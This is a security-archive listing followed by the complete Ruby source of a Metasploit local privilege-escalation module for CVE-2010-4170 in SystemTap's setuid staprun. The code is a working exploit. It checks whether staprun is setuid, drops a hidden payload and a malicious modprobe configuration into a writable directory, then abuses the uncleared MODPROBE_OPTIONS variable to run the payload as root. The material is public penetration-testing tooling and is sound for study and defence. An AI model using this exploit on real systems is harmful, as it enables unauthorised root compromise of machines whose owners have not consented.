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SystemTap 1.3 MODPROBE_OPTIONS Privilege Escalation

SystemTap 1.3 MODPROBE_OPTIONS Privilege Escalation
Posted Apr 19, 2019
Authored by Tavis Ormandy, Brendan Coles | Site metasploit.com

This Metasploit module attempts to gain root privileges by exploiting a vulnerability in the staprun executable included with SystemTap version 1.3. The staprun executable does not clear environment variables prior to executing modprobe, allowing an arbitrary configuration file to be specified in the MODPROBE_OPTIONS environment variable, resulting in arbitrary command execution with root privileges. This module has been tested successfully on: systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and systemtap 1.1-3.el5 on RHEL 5.5 (x64).

tags | exploit, arbitrary, root
systems | linux, fedora
advisories | CVE-2010-4170
MD5 | b8d10e29a77409ce1871a790dad33d49

SystemTap 1.3 MODPROBE_OPTIONS Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting a
vulnerability in the `staprun` executable included with SystemTap
version 1.3.

The `staprun` executable does not clear environment variables prior to
executing `modprobe`, allowing an arbitrary configuration file to be
specified in the `MODPROBE_OPTIONS` environment variable, resulting
in arbitrary command execution with root privileges.

This module has been tested successfully on:

systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
systemtap 1.1-3.el5 on RHEL 5.5 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2010-11-17',
'References' =>
[
['BID', '44914'],
['CVE', '2010-4170'],
['EDB', '15620'],
['URL', 'https://securitytracker.com/id?1024754'],
['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'],
['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'],
['URL', 'https://bugs.launchpad.net/bugs/677226'],
['URL', 'https://www.debian.org/security/2011/dsa-2348']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0))
register_options [
OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def staprun_path
datastore['STAPRUN_PATH']
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def check
# On some systems, staprun execution is restricted to stapusr group:
# ---s--x---. 1 root stapusr 178488 Mar 28 2014 /usr/bin/staprun
unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true'
vprint_error "#{staprun_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{staprun_path} is executable"

unless setuid? staprun_path
vprint_error "#{staprun_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{staprun_path} is setuid"

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

config_path = "#{base_dir}/#{payload_name}.conf"
upload config_path, "install uprobes /bin/sh"

print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}"
vprint_line res
end
end
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